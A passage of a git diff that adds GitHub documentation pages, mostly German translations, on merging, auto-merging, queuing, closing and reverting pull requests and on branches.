+People with maintainer or admin access to a repository can configure their repository's default merge message for all squashed commits to use the pull request title, the pull request title and commit details, or the pull request title and description. For more information, see "[Configure commit squashing](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-squashing-for-pull-requests)".{% endif %}
+
+{% ifversion ghes = 3.6 %}
+People with admin access to a repository can configure the repository to use the title of the pull request as the default merge message for all squashed commits. For more information, see "[Configure commit squashing](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-squashing-for-pull-requests)".
+{% endif %}
+
+### Squashing and merging a long-running branch
+
+If you plan to continue work on the [head branch](/github/getting-started-with-github/github-glossary#head-branch) of a pull request after the pull request is merged, we recommend you don't squash and merge the pull request.
+
+When you create a pull request, {% data variables.product.prodname_dotcom %} identifies the most recent commit that is on both the head branch and the [base branch](/github/getting-started-with-github/github-glossary#base-branch): the common ancestor commit. When you squash and merge the pull request, {% data variables.product.prodname_dotcom %} creates a commit on the base branch that contains all of the changes you made on the head branch since the common ancestor commit.
+
+Because this commit is only on the base branch and not the head branch, the common ancestor of the two branches remains unchanged. If you continue to work on the head branch, then create a new pull request between the two branches, the pull request will include all of the commits since the common ancestor, including commits that you squashed and merged in the previous pull request. If there are no conflicts, you can safely merge these commits. However, this workflow makes merge conflicts more likely. If you continue to squash and merge pull requests for a long-running head branch, you will have to resolve the same conflicts repeatedly.
+
+## Rebase and merge your commits
+
+{% data reusables.pull_requests.rebase_and_merge_summary %}
+
+You aren't able to automatically rebase and merge on {% data variables.location.product_location %} when:
+- The pull request has merge conflicts.
+- Rebasing the commits from the base branch into the head branch runs into conflicts.
+- Rebasing the commits is considered "unsafe," such as when a rebase is possible without merge conflicts but would produce a different result than a merge would.
+
+If you still want to rebase the commits but can't rebase and merge automatically on {% data variables.location.product_location %} you must:
+- Rebase the topic branch (or head branch) onto the base branch locally on the command line
+- [Resolve any merge conflicts on the command line](/articles/resolving-a-merge-conflict-using-the-command-line/).
+- Force-push the rebased commits to the pull request's topic branch (or remote head branch).
+
+Anyone with write permissions in the repository, can then [merge the changes](/articles/merging-a-pull-request/) using the rebase and merge button on {% data variables.location.product_location %}.
+
+## Indirect merges
+
+A pull request can be merged automatically if its head branch is directly or indirectly merged into the base branch externally. In other words, if the head branch's tip commit becomes reachable from the tip of the target branch. For example:
+
+* Branch `main` is at commit **C**.
+* Branch `feature` has been branched off of `main` and is currently at commit **D**. This branch has a pull request targeting `main`.
+* Branch `feature_2` is branched off of `feature` and is now at commit **E**. This branch also has a pull request targeting `main`.
+
+If pull request **E** --> `main` is merged first, pull request **D** --> `main` will be marked as merged *automatically* because all of the commits from `feature` are now reachable from `main`. Merging `feature_2` into `main` and pushing `main` to the server from the command line will mark *both* pull requests as merged.
+
+Pull requests in this situation will be marked as `merged` even if [branch protection rules](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#about-branch-protection-rules) have not been satisfied.
+
+## Further reading
+
+- "[About pull requests](/articles/about-pull-requests/)"
+- "[Addressing merge conflicts](/github/collaborating-with-pull-requests/addressing-merge-conflicts)"
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request.md
new file mode 100644
index 0000000000..f292c88cb9
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request.md
@@ -0,0 +1,63 @@
+---
+title: Automatisches Zusammenführen eines Pull Requests
+intro: 'Du kannst das Tempo der Entwicklung erhöhen, indem du das automatische Mergen für einen Pull Request aktivierst, sodass der Pull Request automatisch gemergt wird, wenn alle Mergeanforderungen erfüllt sind.'
+product: '{% data reusables.gated-features.auto-merge %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request
+  - /github/collaborating-with-issues-and-pull-requests/automatically-merging-a-pull-request
+  - /github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request
+shortTitle: Merge PR automatically
+ms.openlocfilehash: 07069657c870751849d3b7e80c7817f908c2bda5
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147770913'
+---
+## Informationen zum automatischen Zusammenführen
+
+Wenn du das automatische Zusammenführen für Pull Requests aktivierst, wird der Pull Request automatisch zusammengeführt, sobald alle erforderlichen Reviews durchgeführt wurden und alle erforderlichen Statusüberprüfungen erfolgreich waren. Durch das automatische Zusammenführen wird verhindert, dass du warten musst, bis alle Anforderungen erfüllt sind. Stattdessen kannst du mit anderen Aufgaben fortfahren.
+
+Bevor das automatische Zusammenführen für einen Pull Request verwendet werden kann, muss diese Funktion für das Repository aktiviert werden. Weitere Informationen findest du unter [Verwalten des automatischen Mergens von Pull Requests in deinem Repository](/github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository).
+
+Wenn nach dem Aktivieren des automatischen Zusammenführens Benutzer*innen ohne Schreibberechtigung für das Repository neue Änderungen an den Hauptbranch pushen oder den Basisbranch des Pull Requests ändern, wird das automatische Zusammenführen deaktiviert. Beispiel: Wenn ein Maintainer das automatische Mergen für einen Pull Request in einem Fork aktiviert, wird das automatische Mergen deaktiviert, sobald ein Mitwirkender neue Änderungen in den Pull Request pusht.
+
+Über das [{% data variables.product.prodname_github_community %}-Forum](https://github.com/orgs/community/discussions/categories/pull-requests) kann Feedback zu einem Vorgang für das automatische Zusammenführen gegeben werden.
+
+## Aktivieren der automatischen Zusammenführung
+
+{% data reusables.pull_requests.auto-merge-requires-branch-protection %}
+
+Benutzer*innen mit Schreibberechtigung für ein Repository können das automatische Zusammenführen für einen Pull Request aktivieren.
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-pr %}
+1. Klicke in der Liste „Pull Requests“ auf den Pull Request, der automatisch zusammengeführt werden soll.
+1. Zum Auswählen einer Methode für das Zusammenführen klickst du optional im Dropdownmenü **Automatisches Zusammenführen aktivieren** auf die gewünschte Methode. Weitere Informationen findest du unter [Informationen zum Zusammenführen von Pull Requests](/github/collaborating-with-issues-and-pull-requests/about-pull-request-merges).
+  ![Dropdownmenü „Automatisches Zusammenführen aktivieren“](/assets/images/help/pull_requests/enable-auto-merge-drop-down.png)
+1. Klicke auf **Automatisches Zusammenführen aktivieren**.
+  ![Schaltfläche zum Aktivieren der automatischen Zusammenführung](/assets/images/help/pull_requests/enable-auto-merge-button.png) {% ifversion fpt %}
+1. Bei Auswahl der Methode für einen Merge bzw. Squashmerge gibst du eine Commitnachricht und eine Beschreibung ein. Außerdem wählst du die E-Mail-Adresse für den Ersteller des Mergecommits aus.
+  ![Felder für die Eingabe der Commitnachricht und Beschreibung sowie zur Auswahl der E-Mail-Adresse des Commiterstellers](/assets/images/help/pull_requests/pull-request-information-fields.png) {% note %}
+
+  **Hinweis:** Das Dropdownmenü für die E-Mail-Adresse ist nicht verfügbar, wenn du die Privatsphäreeinstellung für E-Mail-Adressen aktiviert hast oder wenn nur eine verifizierte und sichtbare E-Mail-Adresse mit deinem {% data variables.product.company_short %}-Konto verknüpft ist.
+
+  {% endnote %} {% endif %} {% ifversion ghes or ghae or ghec %}
+1. Bei Auswahl der Methode für einen Merge bzw. Squashmerge gibst du eine Commitnachricht und eine Beschreibung ein.
+   ![Felder zur Eingabe der Commitnachricht und Beschreibung](/assets/images/help/pull_requests/pull-request-information-fields-enterprise.png) {% endif %}
+1. Klicke auf **Automatisches Zusammenführen bestätigen**.
+
+## Deaktivieren der automatischen Zusammenführung
+
+Benutzer*innen mit Schreibberechtigung für ein Repository und Pull Request-Ersteller können das automatische Zusammenführen für einen Pull Request deaktivieren.
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-pr %}
+1. Klicke in der Liste „Pull Requests“ auf den Pull Request, für den das automatische Zusammenführen deaktiviert werden soll.
+1. Klicke im Mergefeld auf **Automatisches Zusammenführen deaktivieren**.
+  ![Schaltfläche zum Deaktivieren der automatischen Zusammenführung](/assets/images/help/pull_requests/disable-auto-merge-button.png)
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request.md
new file mode 100644
index 0000000000..fe7eea13f6
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request.md
@@ -0,0 +1,33 @@
+---
+title: Einen Pull Request schließen
+intro: 'Du kannst einen Pull Request *schließen*, ohne [ihn mit dem vorgelagerten Branch zusammenzuführen](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request). Das ist nützlich, wenn die im Branch vorgeschlagenen Änderungen nicht mehr benötigt werden oder in einem anderen Branch eine andere Lösung vorgeschlagen wurde.'
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request
+  - /articles/closing-a-pull-request
+  - /github/collaborating-with-issues-and-pull-requests/closing-a-pull-request
+  - /github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+ms.openlocfilehash: 51048cfd4ae917149d81a011a8ec5418ca4beb51
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145133942'
+---
+{% tip %}
+
+**Tipp**: Wenn du einen Pull Request mit dem falschen Basisbranch geöffnet hast, musst du ihn nicht schließen und einen neuen öffnen, sondern kannst den Basisbranch ändern. Weitere Informationen findest du unter [Ändern des Basisbranchs eines Pull Requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request).
+
+{% endtip %}
+
+{% data reusables.repositories.sidebar-pr %}
+2. Klicke in der Liste „Pull Requests“ auf den Pull Request, den du schließen möchtest.
+3. Klicke unten im Pull Request unter dem Kommentarfeld auf **Pull Request schließen**.
+  ![Schaltfläche „Pull Request schließen“](/assets/images/help/pull_requests/pullrequest-closebutton.png)
+4. [Lösche optional den Branch](/articles/deleting-unused-branches). So bleibt die Liste der Branches in deinem Repository ordentlich.
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/index.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/index.md
new file mode 100644
index 0000000000..02e3a73806
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/index.md
@@ -0,0 +1,30 @@
+---
+title: Änderungen aus einem Pull Request implementieren
+intro: 'Über Pull Requests kanns du Änderungen für deine Arbeit auf {% data variables.product.product_name %} vorschlagen. Erfahre, wie Du Pull Requests erstellst, verwaltest und zusammenführst.'
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/incorporating-changes-from-a-pull-request
+  - /articles/incorporating-changes-from-a-pull-request
+  - /github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+children:
+  - /about-pull-request-merges
+  - /merging-a-pull-request
+  - /automatically-merging-a-pull-request
+  - /merging-a-pull-request-with-a-merge-queue
+  - /closing-a-pull-request
+  - /reverting-a-pull-request
+shortTitle: Incorporate changes
+ms.openlocfilehash: d1acfbbe1fa68bdc80363e6e3abb804a1f268316
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145132989'
+---
+
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request-with-a-merge-queue.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request-with-a-merge-queue.md
new file mode 100644
index 0000000000..6daf929811
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request-with-a-merge-queue.md
@@ -0,0 +1,77 @@
+---
+title: Zusammenführen eines Pull Requests mit einer Mergewarteschlange
+intro: 'Wenn die Branchschutzeinstellung für den Branch eine Mergewarteschlange vorschreibt, kannst du deine Pull Requests zu einer Mergewarteschlange hinzufügen. {% data variables.product.product_name %} mergt dann die Pull Requests für dich, sobald alle erforderlichen Überprüfungen bestanden wurden.'
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+shortTitle: Merge PR with merge queue
+redirect_from:
+  - /pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/adding-a-pull-request-to-the-merge-queue
+  - /github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/adding-a-pull-request-to-the-merge-queue
+ms.openlocfilehash: ce2bc87b82e3590c2a7f55f528fc9f71dc0ceb0d
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147614271'
+---
+{% data reusables.pull_requests.merge-queue-beta %}
+
+## Informationen zu Mergewarteschlangen
+
+{% data reusables.pull_requests.merge-queue-overview %} {% data reusables.pull_requests.merge-queue-references %}
+
+## Hinzufügen eines Pull Requests zu einer Mergewarteschlange
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-pr %}
+
+1. Klicke in der Liste „Pull Requests“ auf den Pull Request, den du einer Mergewarteschlange hinzufügen möchtest.
+
+1. Klicke auf **Zusammenführen, wenn bereit**, um den Pull Request der Mergewarteschlange hinzuzufügen. Als Administrator hast du alternativ folgende Möglichkeit:
+   -  Du kannst den Pull Request direkt mergen, indem du das Kontrollkästchen **Zusammenführen, ohne auf die Erfüllung der Anforderungen zu warten ({% ifversion bypass-branch-protections %}Umgehen des Branchschutzes{% else %}nur für Administratoren{% endif %})** aktivierst (sofern dies laut Branchschutzeinstellungen zulässig ist) und dem Standardflow folgst.
+   ![Optionen für Mergewarteschlange](/assets/images/help/pull_requests/merge-queue-options.png)
+
+  {% tip %}
+
+  **Tipp:** Du kannst auf **Mergen, wenn bereit** klicken, wenn du bereit bist, deine vorgeschlagenen Änderungen zu mergen. {% data variables.product.product_name %} fügt den Pull Request automatisch der Mergewarteschlange hinzu, sobald die erforderlichen Bedingungen für Genehmigungs- und Statusüberprüfung erfüllt sind.
+
+  {% endtip %}
+
+1. Klicke auf **„Zusammenführen, wenn bereit“ bestätigen**, um zu bestätigen, dass du den Pull Request der Mergewarteschlange hinzufügen möchtest.
+
+## Entfernen eines Pull Requests aus einer Mergewarteschlange
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-pr %}
+
+1. Klicke in der Liste „Pull Requests“ auf den Pull Request, den du aus einer Mergewarteschlange entfernen möchtest.
+
+1. Klicke auf **Aus Warteschlange entfernen**, um den Pull Request aus der Warteschlange zu entfernen.
+  ![Entfernen eines Pull Requests aus einer Warteschlange](/assets/images/help/pull_requests/remove-from-queue-button.png)
+
+Alternativ kannst du zur Seite der Mergewarteschlange für den Basis-Branch navigieren, neben dem Pull Request, den du entfernen möchtest, auf **...** klicken und anschließend **Aus Warteschlange entfernen** auswählen. Wie du zur Seite der Mergewarteschlange für den Basis-Branch gelangst, erfährst du im nächsten Abschnitt.
+
+## Anzeigen von Mergewarteschlangen
+
+Die Mergewarteschlange für einen Basis-Branch kann in {% data variables.product.product_name %} an verschiedenen Orten angezeigt werden:
+
+- Auf der Seite **Branches** für das Repository. Diese Route empfiehlt sich, wenn du nicht über einen Pull Request in einer Warteschlange verfügst oder keine Informationen zu einem Pull Request hast, der sich bereits in einer Warteschlange befindet, und ermitteln möchtest, was die Warteschlange enthält. Weitere Informationen findest du unter [Anzeigen von Branches in deinem Repository](/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/viewing-branches-in-your-repository).
+
+  ![Anzeigen der Mergewarteschlange auf der Seite „Branches“](/assets/images/help/pull_requests/merge-queue-branches-page.png)
+
+- Klicke auf der Seite **Pull Requests** deines Repositorys neben einem beliebigen Pull Request in der Mergewarteschlange auf {% octicon "clock" aria-label="The clock symbol" %}.
+
+  ![Anzeigen der Mergewarteschlange auf der Seite „Pull Requests“](/assets/images/help/pull_requests/clock-icon-in-pull-request-list.png)
+
+- Scrolle auf der Seite „Pull Requests“ in der Zeitskala ganz nach unten, und klicke auf den Link **Mergewarteschlange**, wenn die Mergewarteschlange zum Zusammenführen benötigt wird.
+
+  ![Link „Mergewarteschlange“ für Pull Request](/assets/images/help/pull_requests/merge-queue-link.png)
+
+- Die Mergewarteschlangenansicht zeigt die Pull Requests, die sich derzeit in der Warteschlange befinden. Deine Pull Requests sind dabei gut sichtbar markiert.
+
+  ![Mergewarteschlangenansicht](/assets/images/help/pull_requests/merge-queue-view.png)
+
+## Behandeln von Pull Requests, die aus der Mergewarteschlange entfernt wurden
+
+{% data reusables.pull_requests.merge-queue-reject %}
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md
new file mode 100644
index 0000000000..a137dad617
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md
@@ -0,0 +1,104 @@
+---
+title: Merging a pull request
+intro: Merge a pull request into the upstream branch when work is completed. Anyone with push access to the repository can complete the merge.
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request
+  - /articles/merging-a-pull-request
+  - /github/collaborating-with-issues-and-pull-requests/merging-a-pull-request
+  - /github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+---
+## About pull request merges
+
+In a pull request, you propose that changes you've made on a head branch should be merged into a base branch. By default, any pull request can be merged at any time, unless the head branch is in conflict with the base branch. However, there may be restrictions on when you can merge a pull request into a specific branch. For example, you may only be able to merge a pull request into the default branch if required status checks are passing. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches)."
+
+{% data reusables.pull_requests.you-can-auto-merge %}
+
+If the pull request has merge conflicts, or if you'd like to test the changes before merging, you can [check out the pull request locally](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally) and merge it using the command line.
+
+You can't merge a draft pull request. For more information about draft pull requests, see "[About pull requests](/articles/about-pull-requests#draft-pull-requests)."
+
+The repository may be configured so that the head branch for a pull request is automatically deleted when you merge a pull request. For more information, see "[Managing the automatic deletion of branches](/github/administering-a-repository/managing-the-automatic-deletion-of-branches)."
+
+{% note %}
+
+**Note:** {% data reusables.pull_requests.retargeted-on-branch-deletion %}
+For more information, see "[About branches](/github/collaborating-with-issues-and-pull-requests/about-branches#working-with-branches)."
+
+{% endnote %}
+
+Pull requests are merged using [the `--no-ff` option](https://git-scm.com/docs/git-merge#_fast_forward_merge), except for [pull requests with squashed or rebased commits](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges), which are merged using the fast-forward option.
+
+{% data reusables.pull_requests.close-issues-using-keywords %}
+
+If you decide you don't want the changes in a topic branch to be merged to the upstream branch, you can [close the pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request) without merging.
+
+## Merging a pull request
+
+{% webui %}
+
+{% data reusables.repositories.sidebar-pr %}
+2. In the "Pull Requests" list, click the pull request you'd like to merge.
+3. Depending on the merge options enabled for your repository, you can:
+    - [Merge all of the commits into the base branch](/articles/about-pull-request-merges/) by clicking **Merge pull request**. If the **Merge pull request** option is not shown, then click the merge drop down menu and select **Create a merge commit**.
+    ![merge-pull-request-button](/assets/images/help/pull_requests/pullrequest-mergebutton.png)
+    - [Squash the commits into one commit](/articles/about-pull-request-merges/#squash-and-merge-your-pull-request-commits) by clicking the merge drop down menu, selecting **Squash and merge** and then clicking the **Squash and merge** button.
+    ![click-squash-and-merge-button](/assets/images/help/pull_requests/select-squash-and-merge-from-drop-down-menu.png)
+    - [Rebase the commits individually onto the base branch](/articles/about-pull-request-merges/#rebase-and-merge-your-pull-request-commits) by clicking the merge drop down menu, selecting **Rebase and merge** and then clicking the **Rebase and merge** button.
+    ![select-rebase-and-merge-from-drop-down-menu](/assets/images/help/pull_requests/select-rebase-and-merge-from-drop-down-menu.png)
+
+    {% note %}
+
+    **Note:** Rebase and merge will always update the committer information and create new commit SHAs. For more information, see "[About pull request merges](/articles/about-pull-request-merges#rebase-and-merge-your-pull-request-commits)."
+
+    {% endnote %}
+4. If prompted, type a commit message, or accept the default message.
+
+   {% data reusables.pull_requests.default-commit-message-squash-merge %}
+   ![Commit message field](/assets/images/help/pull_requests/merge_box/pullrequest-commitmessage.png)
+
+{% data reusables.files.choose-commit-email %}
+
+   {% note %}
+
+   **Note:** The email selector is not available for rebase merges, which do not create a merge commit{% ifversion squash-merge-email %}. For squash merges, the email selector is only shown if you are the pull request author and you have more than one email address associated with your account.{% else %}, or for squash merges, which credit the user who created the pull request as the author of the squashed commit.{% endif %}
+
+   {% endnote %}
+
+6. Click **Confirm merge**, **Confirm squash and merge**, or **Confirm rebase and merge**.
+6. Optionally, [delete the branch](/articles/deleting-unused-branches). This keeps the list of branches in your repository tidy.
+
+{% endwebui %}
+
+{% cli %}
+
+{% data reusables.cli.cli-learn-more %}
+
+To merge a pull request, use the `gh pr merge` subcommand. Replace `pull-request` with the number, URL, or head branch of the pull request.
+
+```shell
+gh pr merge PULL-REQUEST
+```
+
+Follow the interactive prompts to complete the merge. For more information about the merge methods that you can choose, see "[About pull request merges](/github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)."
+
+Alternatively, you can use flags to skip the interactive prompts. For example, this command will squash the commits into a single commit with the commit message "my squash commit", merge the squashed commit into the base branch, and then delete the local and remote branch.
+
+```shell
+gh pr merge 523 --squash --body "my squash commit" --delete-branch
+```
+
+{% endcli %}
+
+## Further reading
+
+- "[Reverting a pull request](/articles/reverting-a-pull-request)"
+- "[Syncing your branch](/desktop/guides/contributing-to-projects/syncing-your-branch/)" using {% data variables.product.prodname_desktop %}
+- "[About pull request merges](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)"
+- "[Addressing merge conflicts](/github/collaborating-with-pull-requests/addressing-merge-conflicts)"
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/reverting-a-pull-request.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/reverting-a-pull-request.md
new file mode 100644
index 0000000000..5e250c75e3
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/reverting-a-pull-request.md
@@ -0,0 +1,44 @@
+---
+title: Einen Pull Request rückgängig machen
+intro: 'Du kannst einen Pull Request rückgängig machen, der in den vorgelagerten Branch zusammengeführt wurde.'
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/incorporating-changes-from-a-pull-request/reverting-a-pull-request
+  - /github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/reverting-a-pull-request
+  - /articles/reverting-a-pull-request
+  - /github/collaborating-with-issues-and-pull-requests/reverting-a-pull-request
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+ms.openlocfilehash: 9e94b6e9358089da8f62ff5152800e14556db3e7
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145133937'
+---
+## Informationen zum Rückgängigmachen eines Pull Requests
+
+Durch das Rückgängigmachen eines Pull Requests in {% data variables.product.product_name %} wird ein neuer Pull Request erstellt, der ein „Revert“ des Merge-Commits des ursprünglich gemergten Pull Requests enthält. Um Pull Requests rückgängig machen zu können, musst du über [Schreibberechtigungen](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization) im Repository verfügen. 
+
+## Einen Pull Request rückgängig machen
+
+{% note %}
+
+**Hinweis**: Möglicherweise musst du die einzelnen Commits in deinem Pull Request rückgängig machen, wenn eine der folgenden Bedingungen zutrifft.
+
+- Die Rückgängigmachung eines Pull Requests verursacht Mergekonflikte
+- Der ursprüngliche Pull Request wurde ursprünglich nicht in {% data variables.product.product_name %} gemergt. Beispielsweise könnte jemand den Pull Request per Fast-Forward-Merge in der Befehlszeile gemergt haben.
+
+Weitere Informationen zur manuellen Wiederherstellung einzelner Commits über Git findest du in der Git-Dokumentation unter [Rückgängigmachen in Git](https://git-scm.com/docs/git-revert.html).
+
+{% endnote %}
+
+{% data reusables.repositories.sidebar-pr %}
+2. Klicke in der Liste der Pull Requests auf den Pull Request, den Du rückgängig machen möchtest.
+3. Klicke am unteren Rand des Pull Requests auf **Rückgängig machen**. Wenn die Option **Rückgängig machen** nicht angezeigt wird, musst du den Repositoryadministrator um Schreibberechtigungen bitten.
+  ![Link „Pull Request rückgängig machen“](/assets/images/help/pull_requests/revert-pull-request-link.png)
+4. Führe den daraus entstandenen Pull Request zusammen. Weitere Informationen findest du unter [Mergen eines Pull Requests](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request).
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/index.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/index.md
new file mode 100644
index 0000000000..91476d4955
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/index.md
@@ -0,0 +1,35 @@
+---
+title: Zusammenarbeiten mithilfe von Pull Requests
+intro: Nachverfolgen und Besprechen von Änderungen in Issues und anschließendes Vorschlagen und Überprüfen von Änderungen in Pull Requests.
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests
+  - /categories/63/articles
+  - /categories/collaborating
+  - /categories/collaborating-on-projects-using-pull-requests
+  - /categories/collaborating-on-projects-using-issues-and-pull-requests
+  - /categories/collaborating-with-issues-and-pull-requests
+  - /github/collaborating-with-pull-requests
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+children:
+  - /getting-started
+  - /working-with-forks
+  - /collaborating-on-repositories-with-code-quality-features
+  - /proposing-changes-to-your-work-with-pull-requests
+  - /addressing-merge-conflicts
+  - /reviewing-changes-in-pull-requests
+  - /incorporating-changes-from-a-pull-request
+shortTitle: Collaborate with pull requests
+ms.openlocfilehash: 19b7ca93912d7368f7a727262d684ae158f98849
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145132985'
+---
+
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches.md
new file mode 100644
index 0000000000..f8ff820b0b
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches.md
@@ -0,0 +1,87 @@
+---
+title: Informationen zu Branches
+intro: 'Verwende einen Branch, um die Entwicklungsarbeit ohne Auswirkungen auf andere Branches im Repository zu isolieren. Jedes Repository hat einen Standardbranch und kann mehrere weitere Branches haben. Du kannst einen Branch mit einem anderen Branch über einen Pull Request zusammenführen.'
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches
+  - /articles/working-with-protected-branches
+  - /articles/about-branches
+  - /github/collaborating-with-issues-and-pull-requests/about-branches
+  - /github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+ms.openlocfilehash: 0262a7a8fb0bb8556c3f6062e3fc8512eb9fa1c6
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145133934'
+---
+## Informationen zu Branches
+
+Branches ermöglichen dir das Entwickeln von Features, Beheben von Fehlern und sichere Experimentieren mit neuen Ideen in einem Bereich deines Repositorys.
+
